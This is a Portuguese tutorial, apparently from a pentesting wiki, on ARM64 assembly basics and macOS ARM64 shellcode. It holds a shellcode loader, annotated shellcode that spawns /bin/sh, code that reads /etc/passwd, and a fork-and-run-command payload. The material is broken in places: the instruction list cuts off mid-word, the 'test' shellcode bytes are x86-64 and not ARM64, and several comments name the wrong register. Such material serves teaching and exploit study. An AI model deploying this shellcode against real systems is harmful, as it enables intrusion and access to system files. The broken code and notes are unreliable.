# Introdução ao ARM64 ARM64, também conhecido como ARMv8-A, é uma arquitetura de processador de 64 bits usada em vários tipos de dispositivos, incluindo smartphones, tablets, servidores e até mesmo alguns computadores pessoais de alta qualidade (macOS). É um produto da ARM Holdings, uma empresa conhecida por seus designs de processadores energeticamente eficientes. ### Registradores O ARM64 tem **31 registradores de propósito geral**, rotulados de `x0` a `x30`. Cada um pode armazenar um valor de **64 bits** (8 bytes). Para operações que requerem apenas valores de 32 bits, os mesmos registradores podem ser acessados em um modo de 32 bits usando os nomes w0 a w30. 1. **`x0`** a **`x7`** - Esses são normalmente usados como registradores temporários e para passar parâmetros para sub-rotinas. * **`x0`** também carrega os dados de retorno de uma função. 2. **`x8`** - No kernel do Linux, `x8` é usado como o número de chamada do sistema para a instrução `svc`. **No macOS, o x16 é o usado!** 3. **`x9`** a **`x15`** - Mais registradores temporários, frequentemente usados para variáveis locais. 4. **`x16`** e **`x17`** - Registradores temporários, também usados para chamadas de função indiretas e stubs PLT (Procedure Linkage Table). * **`x16`** é usado como o número de chamada do sistema para a instrução **`svc`**. 5. **`x18`** - Registrador de plataforma. Em algumas plataformas, este registrador é reservado para usos específicos da plataforma. 6. **`x19`** a **`x28`** - Estes são registradores preservados pelo chamado. Uma função deve preservar os valores desses registradores para seu chamador. 7. **`x29`** - **Ponteiro de quadro**. 8. **`x30`** - Registrador de link. Ele contém o endereço de retorno quando uma instrução `BL` (Branch with Link) ou `BLR` (Branch with Link to Register) é executada. 9. **`sp`** - **Ponteiro de pilha**, usado para acompanhar o topo da pilha. 10. **`pc`** - **Contador de programa**, que aponta para a próxima instrução a ser executada. ### Convenção de Chamada A convenção de chamada ARM64 especifica que os **primeiros oito parâmetros** de uma função são passados nos registradores **`x0` a `x7`**. **Parâmetros adicionais** são passados na **pilha**. O **valor de retorno** é passado de volta no registrador **`x0`**, ou em **`x1`** também **se for de 128 bits**. Os registradores **`x19`** a **`x30`** e **`sp`** devem ser **preservados** em chamadas de função. Ao ler uma função em assembly, procure o **prólogo e epílogo da função**. O **prólogo** geralmente envolve **salvar o ponteiro de quadro (`x29`)**, **configurar** um **novo ponteiro de quadro** e **alocar espaço na pilha**. O **epílogo** geralmente envolve **restaurar o ponteiro de quadro salvo** e **retornar** da função. ### Instruções Comuns As instruções ARM64 geralmente têm o **formato `opcode dst, src1, src2`**, onde **`opcode`** é a **operação** a ser executada (como `add`, `sub`, `mov`, etc.), **`dst`** é o **registrador de destino** onde o resultado será armazenado e **`src1`** e **`src2`** são os **registradores de origem**. Valores imediatos também podem ser usados ​​no lugar de registradores de origem. * **`mov`**: **Mover** um valor de um **registrador** para outro. * Exemplo: `mov x0, x1` - Isso move o valor de `x1` para `x0`. * **`ldr`**: **Carregar** um valor da **memória** em um **registrador**. * Exemplo: `ldr x0, [x1]` - Isso carrega um valor da localização de memória apontada por `x1` em `x0`. * **`str`**: **Armazenar** um valor de um **registrador** na **memória**. * Exemplo: `str x0, [x1]` - Isso armazena o valor em `x0` na localização de memória apontada por `x1`. * **`ldp`**: **Carregar Par de Registradores**. Esta instrução **carrega dois registr ## macOS ### syscalls Confira [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). ### Shellcodes Para compilar: {% code overflow="wrap" %} ```bash as -o shell.o shell.s ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib ``` {% endcode %} Para extrair os bytes: ```bash # Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do echo -n '\\x'$c done ``` Código C para testar o shellcode ```c #include #include unsigned char code[] = \ "\x48\x31\xc0\x48\x83\xc0\x3b\x48\x83\xc7\x01\x48\x8d\x34\x24\x48\x89\xc6\x48\x8d\x77\x08\x48\x8d\x7f\x08\x48\x8d\x57\x10\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05"; int main(){ printf("Shellcode Length: %d\n", (int)strlen(code)); int (*ret)() = (int(*)())code; ret(); } ``` ```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include int (*sc)(); char shellcode[] = ""; int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode)); void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0); if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr); void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst); int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ); if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status); printf("[>] Trying to execute shellcode...\n"); sc = ptr; sc(); return 0; } ``` #### Shell Retirado [**aqui**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) e explicado. {% tabs %} {% tab title="com adr" %} ```armasm .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. .global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program. .align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4). _main: adr x0, sh_path ; This is the address of "/bin/sh". mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve. mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve. mov x16, #59 ; Move the execve syscall number (59) into x16. svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16. sh_path: .asciz "/bin/sh" ``` {% endtab %} {% tab title="com pilha" %} ```armasm .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. .global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program. .align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4). _main: ; We are going to build the string "/bin/sh" and place it on the stack. mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'. movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'. movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'. movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'. str x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`. ; Prepare arguments for the execve syscall. mov x1, #8 ; Set x1 to 8. sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack. mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve. mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve. ; Make the syscall. mov x16, #59 ; Move the execve syscall number (59) into x16. svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16. ``` {% endtab %} {% endtabs %} #### Ler com cat O objetivo é executar `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, então o segundo argumento (x1) é um array de parâmetros (que na memória significa uma pilha de endereços). ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main .align 2 ; Align the beginning of the following code to a 4-byte boundary _main: ; Prepare the arguments for the execve syscall sub sp, sp, #48 ; Allocate space on the stack mov x1, sp ; x1 will hold the address of the argument array adr x0, cat_path str x0, [x1] ; Store the address of "/bin/cat" as the first argument adr x0, passwd_path ; Get the address of "/etc/passwd" str x0, [x1, #8] ; Store the address of "/etc/passwd" as the second argument str xzr, [x1, #16] ; Store NULL as the third argument (end of arguments) adr x0, cat_path mov x2, xzr ; Clear x2 to hold NULL (no environment variables) mov x16, #59 ; Load the syscall number for execve (59) into x8 svc 0 ; Make the syscall cat_path: .asciz "/bin/cat" .align 2 passwd_path: .asciz "/etc/passwd" ``` #### Invocar comando com sh a partir de um fork para que o processo principal não seja encerrado ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main .align 2 ; Align the beginning of the following code to a 4-byte boundary _main: ; Prepare the arguments for the fork syscall mov x16, #2 ; Load the syscall number for fork (2) into x8 svc 0 ; Make the syscall cmp x1, #0 ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html beq _loop ; If not child process, loop ; Prepare the arguments for the execve syscall sub sp, sp, #64 ; Allocate space on the stack mov x1, sp ; x1 will hold the address of the argument array adr x0, sh_path str x0, [x1] ; Store the address of "/bin/sh" as the first argument adr x0, sh_c_option ; Get the address of "-c" str x0, [x1, #8] ; Store the address of "-c" as the second argument adr x0, touch_command ; Get the address of "touch /tmp/lalala" str x0, [x1, #16] ; Store the address of "touch /tmp/lalala" as the third argument str xzr, [x1, #24] ; Store NULL as the fourth argument (end of arguments) adr x0, sh_path mov x2, xzr ; Clear x2 to hold NULL (no environment variables) mov x16, #59 ; Load the syscall number for execve (59) into x8 svc 0 ; Make the syscall _exit: mov x16, #1 ; Load the syscall number for exit (1) into x8 mov x0, #0 ; Set exit status code to 0 svc 0 ; Make the syscall _loop: b _loop sh_path: .asciz "/bin/sh" .align 2 sh_c_option: .asciz "-c" .align 2 touch_command: .asciz "touch /tmp/lalala" ```
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